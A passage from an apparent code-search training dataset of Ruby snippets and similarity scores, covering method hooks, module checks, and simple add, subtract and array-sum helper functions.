"def method_added(name)\n\n# if new method is an alias method of some method then no need to alias it again\n if /hook/.match(name.to_s) or method_defined?(\"#{name}_without_hook\") or [\"before_method\",\"after_method\"].include?(name.to_s)\n return\n end \n\n call_bef = find_except(name,:before) #finds function which should be called before/after this fuction\n call_aft = find_except(name,:after)\n if call_bef.length == 0 && call_aft.length == 0 \n return\n end \n\n if call_bef.include?(name.to_s) or call_aft.include?(name.to_s) #To avoid infinite loop\n return\n end\n\n# define new method\n hook = %{\n def #{name}_hook\n call_bef = self.class.find_except(\\\"#{name}\\\",:before)\n call_bef.each{|elem| send elem}\n #{name}_without_hook()\n call_aft = self.class.find_except(\\\"#{name}\\\",:after)\n call_aft.each{|elem| send elem}\n end\n }\n\n self.class_eval(hook)\n a1 = \"alias #{name}_without_hook #{name}\"\n self.class_eval(a1)\n a2 = \"alias #{name} #{name}_hook\"\n self.class_eval(a2)\n\n end",
"def heroine; end",
"def specie; end",
"def specie; end",
"def specie; end",
"def specie; end",
"def m1\n\t\t\t\t\tsuper * 2 \t\t\t\t\t\t\t\t\t\t\t# second override to #m1 \n\t\t\t\tend",
"def add_method method\n return method unless @document_self\n\n # HACK: avoid duplicate 'new' in io.c & struct.c (1.8.7 source code)\n key = method.pretty_name\n known = @methods_hash[key]\n\n if known then\n if @store then # otherwise we are loading\n known.comment = method.comment if known.comment.empty?\n previously = \", previously in #{known.file}\" unless\n method.file == known.file\n @store.rdoc.options.warn \\\n \"Duplicate method #{known.full_name} in #{method.file}#{previously}\"\n end\n else\n @methods_hash[key] = method\n if @current_line_visibility\n method.visibility, @current_line_visibility = @current_line_visibility, nil\n else\n method.visibility = @visibility\n end\n add_to @method_list, method\n resolve_aliases method\n end\n\n method\n end",
"def zuruecksetzen()\n end",
"def add_method(method)\n object_class.record_location self\n return method unless @document_self\n object_class.add_method method\n end",
"def methods=(_arg0); end",
"def private_method\n end",
"def method_added(method_name) #:doc:\n super\n\n if ! Apipie.active_dsl? || ! Apipie.apipie_provided?\n Apipie.clear_last\n return\n end\n\n begin\n # remove method description if exists and create new one\n Apipie.remove_method_description(self, Apipie.last_dsl_data[:api_versions], method_name)\n description = Apipie.define_method_description(self, method_name, Apipie.last_dsl_data[:api_versions])\n ensure\n Apipie.clear_last\n end\n\n # redefine method only if validation is turned on\n if description && Apipie.configuration.validate == true\n\n old_method = instance_method(method_name)\n\n define_method(method_name) do |*args|\n\n if Apipie.configuration.validate == true\n description.params.each do |_, param|\n\n # check if required parameters are present\n if param.required && !params.has_key?(param.name)\n raise ParamMissing.new(param.name)\n end\n\n # params validations\n if params.has_key?(param.name)\n param.validate(params[:\"#{param.name}\"])\n end\n\n end\n end\n\n # run the original method code\n old_method.bind(self).call(*args)\n end\n\n end\n end",
"def decorate!; end",
"def decorate!; end",
"def on_add(clicker)\n end",
"def spouse; end",
"def extra_args; end",
"def call(*) end",
"def call(*) end",
"def writethis; end",
"def call\n\n\tend"
] | [
"0.6957196",
"0.694145",
"0.694145",
"0.694145",
"0.694145",
"0.694145",
"0.694145",
"0.694145",
"0.694145",
"0.694145",
"0.694145",
"0.694145",
"0.694145",
"0.69077253",
"0.69077253",
"0.67951405",
"0.67152345",
"0.6605862",
"0.6605862",
"0.6605862",
"0.6605862",
"0.65414715",
"0.64890003",
"0.64008343",
"0.64008343",
"0.6392572",
"0.6392572",
"0.6388281",
"0.6379706",
"0.6379706",
"0.6361628",
"0.6361628",
"0.6361628",
"0.6361628",
"0.6361628",
"0.6361628",
"0.6361628",
"0.6361628",
"0.63436663",
"0.63202876",
"0.6304513",
"0.6304513",
"0.629264",
"0.6216569",
"0.616043",
"0.61548495",
"0.61359",
"0.6114249",
"0.6109655",
"0.609757",
"0.6097003",
"0.6097003",
"0.6081907",
"0.6073274",
"0.6056732",
"0.60379165",
"0.60277456",
"0.60129654",
"0.60008895",
"0.599159",
"0.5980036",
"0.59756213",
"0.59731483",
"0.5971877",
"0.5971203",
"0.5959674",
"0.5954964",
"0.59496874",
"0.59436387",
"0.59351027",
"0.5925689",
"0.59229034",
"0.59229034",
"0.589938",
"0.5873628",
"0.5861977",
"0.5861977",
"0.58573294",
"0.58562124",
"0.5843454",
"0.58309865",
"0.58303064",
"0.58303064",
"0.58303064",
"0.58303064",
"0.58277696",
"0.58260274",
"0.5821353",
"0.582111",
"0.5816861",
"0.5811818",
"0.57930654",
"0.57926494",
"0.57926494",
"0.57907975",
"0.5785082",
"0.5781222",
"0.57737786",
"0.57737786",
"0.57733774",
"0.5758213"
] | 0.0 | -1 |
Retourne TRUE si c'est un module de type suivi de projet | def suivi? ; self.abs_module.nombre_jours.nil? end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def module?\n @type == :module\n end",
"def module?\n @type == :module\n end",
"def module?\n true\n end",
"def module?\n true\n end",
"def module?\n false\n end",
"def should_donate?\n @type == :module\n end",
"def has_classes_or_modules?\n has_classes? || has_modules?\n end",
"def project?\n true\n end",
"def includes_modules?\n @includes_modules\n end",
"def namespace_module?\n return false if exp.type == :casgn\n contents = exp.children.last\n contents && contents.find_nodes([:def, :defs], [:casgn, :class, :module]).empty?\n end",
"def has_modules?\n m = @context.modules.find{|m| m.document_self}\n m ? true : false\n end",
"def is_for_project?\n not self.project.nil?\n end",
"def module_loaded? mod\n Bot::Modules.include? mod\n end",
"def satisfied_by?(mod)\n @type == mod.type && @git == mod.git\n end",
"def is_module_platform?(mod)\n platform_obj = Msf::Module::Platform.find_platform session.platform\n module_platforms = mod.target.platform ? mod.target.platform.platforms : mod.platform.platforms\n module_platforms.include? platform_obj\n rescue ArgumentError => e\n # When not found, find_platform raises an ArgumentError\n elog \"#{e.class} #{e.message}\\n#{e.backtrace * \"\\n\"}\"\n return false\n end",
"def auxiliary?\n\t\treturn (type == MODULE_AUX)\n\tend",
"def loaded_correctly?\n !!@module\n end",
"def loaded_correctly?\n !!@module\n end",
"def project?; @is_project || false; end",
"def custom_module?\n # custom module names are all lower_case, whereas SugarCRM modules are CamelCase\n @name.downcase == @name \n end",
"def custom_module?\n # custom module names are all lower_case, whereas SugarCRM modules are CamelCase\n @name.downcase == @name \n end",
"def project?\n ! @project.nil?\n end",
"def project?(p)\r\n projects.include?(p)\r\n end",
"def commonjs_module?\n data.to_s.include?(\"module.exports\") || data.present? && data.to_s.match(/(require\\(.*\\)|import)/) && dependencies.length > 0\n end",
"def module_enabled\n case name\n when 'wiki'\n # Create a wiki with a default start page\n if project && project.wiki.nil?\n Wiki.create(:project => project, :start_page => 'Wiki')\n end\n end\n end",
"def uses?(mod); end",
"def modules_enabled?\n return nil unless target\n setting = target.resolved_build_setting(\"CLANG_ENABLE_MODULES\")[\"Release\"]\n return nil unless setting\n setting == \"YES\"\n end",
"def displayed?\n static_module.displayed?\n end",
"def is_config_module_stock(config_module)\n if config_module.new_record? then\n return true\n else\n conf_module_type = config_module.type.chomp('ConfigModule').upcase\n return false if config_module.url != ENV[\"PUPPET_#{conf_module_type}_GIT_MASTER\"]\n return false if config_module.branch != 'master'\n return false if not config_module.revision_hash.blank?\n end\n return true\n end",
"def class_scope?\n @type == :class or @type == :module\n end",
"def type_include?(host, mod); end",
"def accessible?\n admin? || owner? || @project.is_open_source?\n end",
"def satisfied_by?(mod)\n @type == mod.type &&\n @full_name.downcase == mod.full_name.downcase &&\n !mod.version.nil? &&\n @semantic_version.cover?(mod.version)\n end",
"def module_enabled\n case name\n when 'wiki'\n # Create a wiki with a default start page\n if project && project.wiki.nil?\n Wiki.create(:project => project, :start_page => 'Wiki')\n end\n when 'definitions'\n Definition.init(self.project_id) if project.definition.blank?\n when 'plans'\n # Create some initialize plans\n if project && project.plans.blank?\n # Create parent first\n template_plans.find_all { |plan| plan[:parent].nil? }.each { |parent|\n project.plans << Plan.new({:name => parent[:name]}) if project.plans.find_by_name(parent[:name]).blank?\n }\n # Create children later\n template_plans.find_all { |plan| plan[:parent].present? }.each { |p|\n project.plans << Plan.new({:name => p[:name], :parent_id => project.plans.find_by_name(p[:parent]).id}) if project.plans.find_by_name(p[:name]).blank?\n }\n end\n end\n end",
"def project_model?(name)\n return Rake::application[name].respond_to?('project_model')\n end",
"def class_scope?\n @type == :class || @type == :module\n end",
"def in_drupal_root?\n File.exist?(File.expand_path('modules/system/system.module'))\nend",
"def exists?(module_name)\n const_name = module_name.to_s.camel_case\n slice_names.include?(const_name) && Object.const_defined?(const_name)\n end",
"def module_eigenclass?(target)\n target < Module\n end",
"def module_loaded?\n /^#{new_resource.modname}/.match?(::File.read(\"/proc/modules\"))\n end",
"def include?(value)\n return super if value.is_a?(Module)\n\n !self[value].nil?\n end",
"def is_module_presents?(modulename)\n abort \"No ssh session found\" if @ssh.nil?\n r = @ssh.do_ssh_cmd(\n \"ls #{@puppetfolder}/#{@modulesfolder}/#{modulename}\"\n )\n r[:exit_code] == 0 ? true : false\n end",
"def development?\n @dependency.type == :development\n end",
"def in_submodule?(component)\n return false unless File.exists?(gitmodules)\n # File.read(gitmodules) =~ %r![submodule \"#{freezer_dir}/#{component}\"]!\n File.read(gitmodules).match(%r!#{freezer_dir}/#{component}!)\n end",
"def package_project_valid?\n Project.first(:code => metadata[\"dmd-project\"], :account => {:code => metadata[\"dmd-account\"]}) != nil\n end",
"def model_accessible?(model_module)\n true\n end",
"def plugin_module_defined?(plugin, submod)\n if RUBY_VERSION >= '1.9'\n plugin.const_defined?(submod, false)\n else\n # :nocov:\n plugin.const_defined?(submod)\n # :nocov:\n end\n end",
"def importable?\n root?\n end",
"def run_module?( mod, page )\n return false if mod.issue_limit_reached?\n\n elements = mod.info[:elements]\n return true if !elements || elements.empty?\n\n elems = {\n Element::LINK => page.links.any? && @opts.audit_links,\n Element::FORM => page.forms.any? && @opts.audit_forms,\n Element::COOKIE => page.cookies.any? && @opts.audit_cookies,\n Element::HEADER => page.headers.any? && @opts.audit_headers,\n Element::BODY => !page.body.empty?,\n Element::PATH => true,\n Element::SERVER => true\n }\n\n elems.each_pair { |elem, expr| return true if elements.include?( elem ) && expr }\n false\n end",
"def global?\n module_name.nil? || module_name == NAMESPACE_WILDCARD || module_name == ENVIRONMENT\n end",
"def exploit?\n\t\treturn (type == MODULE_EXPLOIT)\n\tend",
"def has_project?\n !project_id.nil? && project.visible\n end",
"def importable?\n true\n end",
"def in_module_root?(path = Dir.pwd)\n PDK::Util::MODULE_FOLDERS.any? { |dir| PDK::Util::Filesystem.directory?(File.join(path, dir)) } ||\n PDK::Util::Filesystem.file?(File.join(path, 'metadata.json'))\n end",
"def needs_project_scoping?(data)\n repository_depth(data) == 1\n end",
"def nop?\n\t\treturn (type == MODULE_NOP)\n\tend",
"def project_blueprint?\n true\n end",
"def package?(package)\n # implement inside child\n end",
"def check_module_exists(module_name)\n !get_module_data(module_name).nil?\n end",
"def importable?\n false\n end",
"def belongs_to_project?(project)\n (source_type == \"project\") &&\n (project_id == project.id)\n end",
"def started?\n @module_started\n end",
"def valid_import?\n true\n end",
"def autoload?(p0) end",
"def autoload?(p0) end",
"def projet_scrivener?\n extension == '.scriv'\nend",
"def is_module_package?(name)\n filename = File.expand_path(name)\n filename =~ /.tar.gz$/\n end",
"def user_project_manager?\n user_logged_in? && current_user.type == 'ProjectManager'\n end",
"def load_commands?\n @module\n end",
"def is_built(module_instance)\n unless module_instance.type.to_sym == :servicebuilder or module_instance.type.to_sym == :ext\n file = File.join(module_instance.path, \"target/#{module_instance.name}-#{Rays::Project.instance.version}.war\")\n File.exist?(file)\n else\n !Rays::Utils::FileUtils.find_down(module_instance.path, /.*\\.war$/).empty?\n end\n end",
"def node_modules?\n !!name.match(/node_modules\\//)\n end",
"def class?\n @type == :class\n end",
"def class?\n @type == :class\n end",
"def check_core\n @project = 'drupal' if @project =~ /^core|drupal$/\n end",
"def check_type type\n raise \"No such type: #{type}\" unless Modules.constants.include? type\n end",
"def inheritable?(klass_or_module)\n klass_or_module.kind_of?(Class) || klass_or_module.kind_of?(Module)\n end",
"def include?(arg)\n arg.is_a?(Module) ? !!included_modules.detect{ |m| m === arg } : store.include?(arg)\n end",
"def make_global!\n @is_module = true\n end",
"def valid?(value)\n return true if value.is_a?(@shared_class)\n @shared_modules.any? { |m| value.is_a?(m) }\n end",
"def translates?\n included_modules.include?(InstanceMethods)\n end",
"def deployable?\n self.class.deployable?(type)\n end",
"def java_kind_of?(other)\n return true if self.kind_of?(other)\n return false unless self.respond_to?(:java_class) && other.respond_to?(:java_class) &&\n other.kind_of?(Module) && !self.kind_of?(Module) \n return other.java_class.assignable_from?(self.java_class)\n end",
"def package_enabled?(name)\n Autoproj.workspace.manifest.package_enabled?(name, false)\nend",
"def right_values?\n icarien.pseudo || raise('Il faut choisir l’icarien visé.')\n icm = icarien.icmodule\n icm != nil || begin\n raise \"L’icarien#{icarien.femme? ? 'ne' : ''} #{icarien.pseudo} ne possède pas de module d’apprentissage…\"\n end\n new_absmodule_id > 0 || raise('L’identifiant du nouveau module doit être supérieur à zéro.')\n new_absmodule.exist? || raise(\"L’identifiant de module ##{new_absmodule_id} ne correspond à aucun module…\")\n # On vérifie que le module ne soit pas justement celui suivi\n # par l'icarien choisi.\n icm.abs_module_id != new_absmodule_id || begin\n raise 'Le module choisi est le même que celui que suit actuellement l’icarien !'\n end\n new_etape_numero > 0 || raise('Le numéro de l’étape doit être un nombre supérieur à zéro.')\n new_absetape != nil || raise(\"L'étape numéro ##{new_etape_numero} est inconnu dans le module “#{new_absmodule.titre}”…\")\n # Si on arrive ici, tout est bon.\n @suivi << \"Toutes les valeurs sont correctes, on peut procéder à l'opération.\"\n return true\n rescue Exception => e\n error \"#{e.message}<br>Impossible de changer son module.\"\n false\n end",
"def managed?(component)\n File.directory?(File.join(freezer_dir, component)) || in_submodule?(component)\n end",
"def uses_defn?(scope)\n if scope.iter? or scope.module?\n true\n elsif scope.class? and %w(Object BasicObject).include?(scope.name)\n true\n else\n false\n end\n end",
"def can_access_to_module? mod\n Rails.cache.fetch(\"can_access_to_module_#{mod.id}_#{self.id}\", expire_in: 1.month) do\n all_user_modules.include?(mod)\n end\n end",
"def def_in_class?\n !@defs && @type == :def && @parent && @parent.class?\n end",
"def def_in_class?\n !@defs && @type == :def && @parent && @parent.class?\n end",
"def built_in_module?(name)\n true if platform_family?('suse') &&\n %w(systemd unixd http so access_compat core mpm_event mpm_prefork mpm_worker).include?(name)\n end",
"def is_module_options_ready?(mod)\n mod.options.each_pair do |option_name, option|\n return false if option.required && option.default.nil? && mod.datastore[option_name].blank?\n end\n\n true\n end",
"def core?\n (orphan? or parent.core?) and not name.starts_with? '##'\n end",
"def active?(submodule_name)\n active.select { |s| s[:name].to_s == submodule_name.to_s }.any?\n end",
"def validateHandin()\n updateModules()\n # Partners stand alone, they don't affect others\n if @modulesUsed.include?(\"Partners\") then\n if ! partnersValidateHandin() then\n return false\n end\n end\n \n # If we're validating for svn, we don't have a file to check\n if @modulesUsed.include?(\"Svn\") then\n if ! svnValidateHandin() then\n return false\n end\n else\n if ! super() then\n return false\n end\n end\n return true\n end",
"def is_primary?\n content_type.is_primary_repo\n end",
"def model_xmls?\n repository.application.standalone_model_library?\n end",
"def included_extension_module?(base, extension_module)\n if base.kind_of?(Class)\n direct_superclass = base.superclass\n base.ancestors.take_while { |ancestor| ancestor != direct_superclass}.include?(extension_module)\n else\n base < extension_module # can't do better than that for modules\n end\n end",
"def mod?\n @data['mod']\n end",
"def constant?\n true\n end",
"def project?(spec)\n spec.team == Settings.project_root\n end"
] | [
"0.8037305",
"0.8037305",
"0.774926",
"0.774926",
"0.7597174",
"0.7207169",
"0.7041173",
"0.69586426",
"0.68679357",
"0.6843675",
"0.6816408",
"0.6800288",
"0.67774236",
"0.6763845",
"0.6739602",
"0.66654336",
"0.66647565",
"0.66647565",
"0.66369385",
"0.65960693",
"0.65960693",
"0.6594207",
"0.6457334",
"0.6446735",
"0.6434644",
"0.6426524",
"0.6416449",
"0.64069736",
"0.6399661",
"0.63897705",
"0.638084",
"0.6379662",
"0.63751864",
"0.63599443",
"0.63503814",
"0.63484085",
"0.6312209",
"0.62953675",
"0.62758696",
"0.6253098",
"0.6241435",
"0.62362015",
"0.62113607",
"0.6197981",
"0.6193628",
"0.6186662",
"0.6174605",
"0.6174247",
"0.61650455",
"0.616411",
"0.6158081",
"0.61378706",
"0.61369836",
"0.61322904",
"0.61279297",
"0.6100997",
"0.6066075",
"0.6044379",
"0.6044103",
"0.6042894",
"0.6017685",
"0.60000175",
"0.5985963",
"0.598313",
"0.598313",
"0.5969679",
"0.5960678",
"0.5957252",
"0.5937345",
"0.59290737",
"0.5928542",
"0.5923828",
"0.5923828",
"0.5915865",
"0.5904055",
"0.58757055",
"0.5875313",
"0.58652586",
"0.5861551",
"0.5857076",
"0.5853683",
"0.5851008",
"0.58502245",
"0.58168507",
"0.5804092",
"0.57901883",
"0.5783581",
"0.5778459",
"0.5778459",
"0.57763696",
"0.57646376",
"0.57605165",
"0.5752099",
"0.57226354",
"0.5722524",
"0.5722094",
"0.57207656",
"0.5718772",
"0.5716357",
"0.57016695"
] | 0.6582336 | 22 |
def adds_2_and_2 assert_equal 4, add(2, 2) end def adds_positive_numbers assert_equal 8, add(2, 6) end subtract takes two parameters and subtracts the second from the first | def subtract (number1, number2)
number1 - number2
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def test_subtracts_numbers\n\t\tassert_equal 6, subtract(10, 4)\n\tend",
"def subtract(first_number, second_number)\n first_number - second_number\nend",
"def subtract(first_number, second_number)\n return first_number - second_number\nend",
"def subtract(first_number , second_number)\n return first_number - second_number\nend",
"def subtract(num, num2)\n return num - num2\nend",
"def subtraction (first_number, second_number)\nfirst_number - second_number\nend",
"def subtract(number_1, number_2)\n return number_1 - number_2\nend",
"def subtract(num1, num2)\n num1 - num2\nend",
"def subtract(num1, num2)\n num1 - num2\nend",
"def subtract(number_one, number_two)\nnumber_one - number_two\nend",
"def subtract(num1, num2)\n return num1 - num2\nend",
"def subtract(a, b)\n a - b\nend",
"def subtract(a, b)\n a - b\nend",
"def subtract(a, b)\n a - b\nend",
"def subtract(a, b)\n a - b\nend",
"def subtract (num1, num2)\n num1 - num2\nend",
"def substract(a,b)\n a.to_i - b.to_i\nend",
"def test_subtracts_numbers\n result = @calculator.subtracts(10, 4)\n expected = 6\n assert_equal expected, result\n end",
"def subtract(a, b)\n\treturn a - b\nend",
"def subtract(first_arg, second_arg)\n first_arg - second_arg\nend",
"def subtract (a,b)\n return a-b\nend",
"def subtract(number1, number2)\n number1 - number2\n end",
"def subtract(a, b)\n puts \"SUBTRACTING #{a} - #{b}\"\n a - b\nend",
"def subtractionm(num_1,num_2)\n return num_1 - num_2\nend",
"def subtract(num_one, num_two)\n puts \"#{num_one} - #{num_two} = #{num_one + num_two}\\n\"\nend",
"def subtract a, b\n\ta - b\nend",
"def subtract_them(a, b)\n return a - b\n end",
"def subtraction(n1, n2)\r\n # return n1 - n2 # not required to return a value\r\n n1 - n2 # will return this value\r\nend",
"def test_subtract\n \tassert_equal 5, @calc.subtract(10,5)\n end",
"def add( first_number, second_number )\n return first_number + second_number\nend",
"def sub_two_numbers(num1, num2)\n puts \"OK, let's solve your math problem!\"\n num1 - num2\nend",
"def add(first_number, second_number)\n return first_number + second_number\nend",
"def add(first_number, second_number)\n return first_number + second_number\nend",
"def add(first_number, second_number)\n return first_number + second_number\nend",
"def add(first_number, second_number)\n return first_number + second_number\nend",
"def add(first_number, second_number)\n return first_number + second_number\nend",
"def add(num_one, num_two)\n num_one + num_two\nend",
"def add(num_1, num_2)\n num_1+num_2\nend",
"def add (first_number , second_number)\n return first_number + second_number\nend",
"def addAndSubtract(num1, num2)\n\tputs \"addAndSubtract gets call: \"\n\taddition = num1 + num2\n\tsubtract = num1 - num2\n\treturn [addition, subtract]\nend",
"def add(number_1, number_2)\n number_1 + number_2\nend",
"def add (number1, number2)\n number1 +number2\nend",
"def subtract(n1, n2)\n difference = n1 - n2\n return difference\nend",
"def add(num_one, num_two)\n return num_one + num_two\nend",
"def add(num_one, num_two)\n return num_one + num_two\nend",
"def add(num_one, num_two)\n return num_one + num_two\nend",
"def add(num_one, num_two)\n return num_one + num_two\nend",
"def add (num_one, num_two)\n num_one + num_two\nend",
"def subtract(a, b)\n difference = a - b\n return difference\nend",
"def add(a_number, another_number)\n a_number + another_number # Adding 2 numbers !!\nend",
"def add_sub(n1=0,n2=0)\n add = n1+n2\n sub = n1-n2\n return [add,sub] # Return can be an array and hash etc.\nend",
"def calc_subtract(num1, num2)\n puts \"#{num1} - #{num2} = #{num1 - num2}\"\nend",
"def add_and_subtract(n1, n2)\r\n add = n1 + n2\r\n sub = n1 - n2\r\n {add: add, sub: sub}\r\nend",
"def add(num_1, num_2)\n num_1+num_2\nend",
"def add(num_1, num_2)\n num_1 + num_2\nend",
"def add(number_one, number_two)\n return number_one + number_two\nend",
"def Subtraction(a,b)\n f = a.to_i - b.to_i\n puts \"Subtraction of both number is #{f}\"\n end",
"def add(number1, number2)\n number1 + number2\nend",
"def add(number1, number2)\n number1 + number2\nend",
"def test_more_than_one_variable\n assert_equal(20,minus(80,40,20))\t\n end",
"def add(number1, number2)\n number1+number2\nend",
"def subtract(num1,num2)\n\tp num1 - num2\nend",
"def add(number_1, number_2)\n return number_1 + number_2\nend",
"def add_two_positive_numbers(num1,num2)\r\n if (num1 < 0) \r\n 0\r\n elsif (num2 < 0) \r\n 0\r\n else \r\n num1 + num2\r\n end\r\nend",
"def add (num_1, num_2)\n\n num_1 + num_2\n\nend",
"def add(num_1, num_2)\n\treturn num_1 + num_2\nend",
"def subtract(a, b)\n puts \"SUBTRACTING #{a} - #{b}\"\n a - b # This is the output as the final expression of the function\nend",
"def arithmetic2(a, b)\nend",
"def subt(a,b)\n a-b\nend",
"def add num1, num2\n num1 + num2\nend",
"def add(a, b) #a and b are the value of two number for addition\nreturn a+b\nend",
"def add (num1, num2)\n num1 + num2\nend",
"def subtract(x,y)\r\n x - y \r\nend",
"def add(num1, num2)\r\n num1 + num2\r\n end",
"def add(num1, num2)\n num1 + num2\nend",
"def add(num1, num2)\n num1 + num2\nend",
"def add(num1, num2)\n num1 + num2\nend",
"def add(num1, num2)\n num1 + num2\nend",
"def add(num1, num2)\n num1 + num2\nend",
"def add(num1, num2)\n num1 + num2\nend",
"def add(n1,n2)\n\tn1+n2\nend",
"def add(n1, n2)\n\tn1 + n2\nend",
"def add(num1, num2)\n num1+num2\nend",
"def add(num_1, num_2)\n\tnum_1 = 2\n\tnum_2 = 3\n\tnum_1 + num_2\nend",
"def add(num_1, num_2)\n puts num_1 + num_2\nend",
"def add(num_1, num_2)\n\tnum_1.to_i + num_2.to_i\n#add(2, 4)\nend",
"def add(num1,num2)\n num1+num2\nend",
"def add(num1,num2)\n num1 + num2\nend",
"def add ( num_1, num_2)\n num_1.to_i + num_2.to_i\nend",
"def add(num1, num2)\n return num1 + num2\nend",
"def add(num1, num2)\n return num1 + num2\nend",
"def add(num1, num2)\n return num1 + num2\nend",
"def add(num1,num2)\n\treturn num1 + num2\nend",
"def add(int1, int2)\n int1 + int2\nend",
"def sum_two_numbers(a, b)\n a + b\nend",
"def add_2(x, y)\nend",
"def add(num1,num2)\n num1 + num2 \nend",
"def add\n\t number_1 + number_2\n end",
"def add(a1, a2)\n return a1 + a2\nend",
"def add_numbers(number1, number2)\n return sum\nend"
] | [
"0.7993425",
"0.7703202",
"0.7654675",
"0.764909",
"0.75930357",
"0.756251",
"0.7551079",
"0.7547029",
"0.7547029",
"0.7538183",
"0.7517505",
"0.7508702",
"0.7508702",
"0.7508702",
"0.7508702",
"0.7497784",
"0.7443198",
"0.74004686",
"0.73702407",
"0.7367406",
"0.7359952",
"0.7356906",
"0.73547506",
"0.731934",
"0.72988135",
"0.7296889",
"0.7281984",
"0.72795475",
"0.7277142",
"0.7257675",
"0.72277045",
"0.7213998",
"0.72070193",
"0.72070193",
"0.72070193",
"0.719803",
"0.716465",
"0.7157796",
"0.71551615",
"0.71528745",
"0.71517575",
"0.71480334",
"0.7147993",
"0.7137339",
"0.7137339",
"0.7137339",
"0.7137339",
"0.7135122",
"0.711725",
"0.71088684",
"0.7103803",
"0.71025527",
"0.70970154",
"0.7093644",
"0.7082022",
"0.70758975",
"0.70754856",
"0.706723",
"0.706723",
"0.70614624",
"0.70604014",
"0.7056101",
"0.70511186",
"0.7037245",
"0.7034034",
"0.70317996",
"0.6994089",
"0.6993321",
"0.6993268",
"0.69910747",
"0.6981016",
"0.69806343",
"0.6980263",
"0.6974168",
"0.69660497",
"0.69660497",
"0.69660497",
"0.69660497",
"0.69660497",
"0.69660497",
"0.69622684",
"0.6958802",
"0.6958249",
"0.6952709",
"0.6943095",
"0.6943062",
"0.69398427",
"0.69381815",
"0.69292283",
"0.69265926",
"0.69265926",
"0.69265926",
"0.6912266",
"0.6909109",
"0.6903143",
"0.68948597",
"0.688972",
"0.68889356",
"0.6886826",
"0.68847287"
] | 0.7341015 | 23 |
sum takes an array of numbers and adds them all together This one is a bit trickier! | def sum(n)
result = 0
n.each do |number|
result = result + number
end
return result
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def sum(array)\n\tarray.reduce(:+)\nend",
"def sum array\n\tsum = 0\n\tarray.each do |number|\n\t\tsum = sum + number\n\tend\n\tsum\nend",
"def sum(array)\n\ttotal = 0\n\tfor number in array #could do each do instead of for loop\n\t\ttotal += number\n\tend\n\treturn total\nend",
"def sum(array)\n\treturn array.reduce(:+)\nend",
"def sum_array(any_array)\n any_array.inject(:+)\n end",
"def sum_of_sums(array)\n sum = 0\n sum_array = array.map { |x| sum += x }\n sum_array.inject(:+)\nend",
"def sum(numbers)\n numbers.reduce(&:+)\n end",
"def sum_array(array)\n array.reduce(:+)\nend",
"def array_sum(arr)\n arr.reduce(:+)\nend",
"def array_sum(arr)\n arr.reduce(:+)\nend",
"def sum_array(array)\n sum = 0\n array.each do |number|\n sum += number\n end\n sum\nend",
"def sum(array)\n array.map(&:to_i).reduce(0, :+)\nend",
"def sum_array(array)\n sum = 0\n array.each do |num|\n sum = sum + num\n end\n sum\nend",
"def simple_array_sum arr\n arr.reduce(:+)\n end",
"def sum_array(array)\n sum = 0\n\n array.each do |number|\n sum += number\n end\n\n return sum\nend",
"def sum (arr)\n\treturn arr.inject(0, :+)\nend",
"def sum_array(int_array)\n int_array.reduce(:+)\nend",
"def sum_array(array)\n total = 0\n array.each do |num|\n total += num\n end\n total\nend",
"def sum(array)\n array.reduce(0) {|base, ele|\n base+=ele\n }\n end",
"def sum_array(array)\n sum = 0\n array.each do |x|\n sum += x\n end\n return sum\nend",
"def sum_array(array)\n sum = 0\n array.each do |num|\n sum += num\n end\n sum\nend",
"def sum_array(numbers)\n return numbers.sum()\nend",
"def arr_sum(array)\n sum = 0 # Declares initial value for variable 'sum' as 0\n array.each do |i| # Begin iterating each item of arr\n sum += i # add each number in array to the next item, continue until items exhausted\n end\n return sum # Returns new sum value\nend",
"def sum_array(array)\n sum = 0\n array.each{ |num| sum += num }\n sum\nend",
"def sum_array(array)\n sum = 0\n array.each do |value|\n sum += value\n end\n sum\nend",
"def sum(array)\n sum = 0\n\n array.each { |number|\n sum += number\n }\n\n return sum\nend",
"def sum_array(array)\n\tarray.inject { |sum, n| sum + n }\nend",
"def sum(array)\n s = 0\n\tarray.each {|x| s+= x}\n\ts\nend",
"def sum_array(array)\n\tarray.inject do |sum, n| sum + n\n\tend\nend",
"def sum(array)\n sum = 0\n array.each { |n| sum += n } \n sum\nend",
"def sum(array)\n array.inject(0){|sum, n| sum + n}\n end",
"def add_array_numbers(array)\n result = array.sum\n # .sum cannot be used on a string, only integars and floats\n return result\nend",
"def sum_array(array)\n return array.sum\n\n # sum_total_of_array = 0\n # for number in array\n # sum_total_of_array += number\n # end\n # return sum_total_of_array\nend",
"def sum_array(array)\n sum = 0\n array.each do |element|\n sum += element\n end\n sum\nend",
"def sum(array_of_integers)\n # TODO\nend",
"def sum(array)\n sum = 0\n array.each do |num|\n sum += num\n end\n sum\nend",
"def sum_values(arr)\n arr.inject(:+)\n end",
"def array_sum(arr)\n arr.reduce(0, :+)\nend",
"def array_sum(arr)\n arr.reduce(0, :+)\nend",
"def array_sum(arr)\n arr.reduce(0, :+)\nend",
"def sum_array(numbers)\n total = 0\n for number in numbers\n total = total + number\n end\n return total\nend",
"def sum(array)\n sum = 0\n array.each do |a|\n sum += a\n end\n return sum\nend",
"def total(array)\n sum = 0\n array.each do |number|\n sum = sum += number\n end\n sum\nend",
"def total(array)\n\tsum = 0\n\tarray.each do |x|\n\t\tsum = sum + x\n\tend\n\tsum\nend",
"def array_sum(arr)\n arr.reduce(:+)\n\nend",
"def array_sum(arr)\n return arr.reduce(0, :+)\nend",
"def sum_array(array)\n sum = 0\n array.each do |num|\n sum+=num\n end\n sum\nend",
"def sum_array( numbers )\r\n numbers.inject(0, :+)\r\nend",
"def array_sum(array)\r\n array.inject(0, :+)\r\nend",
"def sum(array)\n array.reduce(0) {|sum, num| sum += num}\nend",
"def sum_of array\n# add the numbers of the array, these are three different ways I found\n array.inject{ |sum, value| sum += value}\n # or\n # array.map(&:to_i).reduce(0, :+)\n # or\n # array.sum\nend",
"def sum_of(array)\n array.inject(0.0) { |sum, e| sum + e }\n end",
"def total(array)\n sum = 0\n array.each do |x|\n sum = sum + x\n end\n sum\nend",
"def total(array_of_numbers)\n return array_of_numbers.reduce(:+)\nend",
"def my_sum(array)\n sum = 0\n array.each do |num|\n sum += num\n end\n sum\nend",
"def total(array)\n\tsum = array.inject(0, :+)\nend",
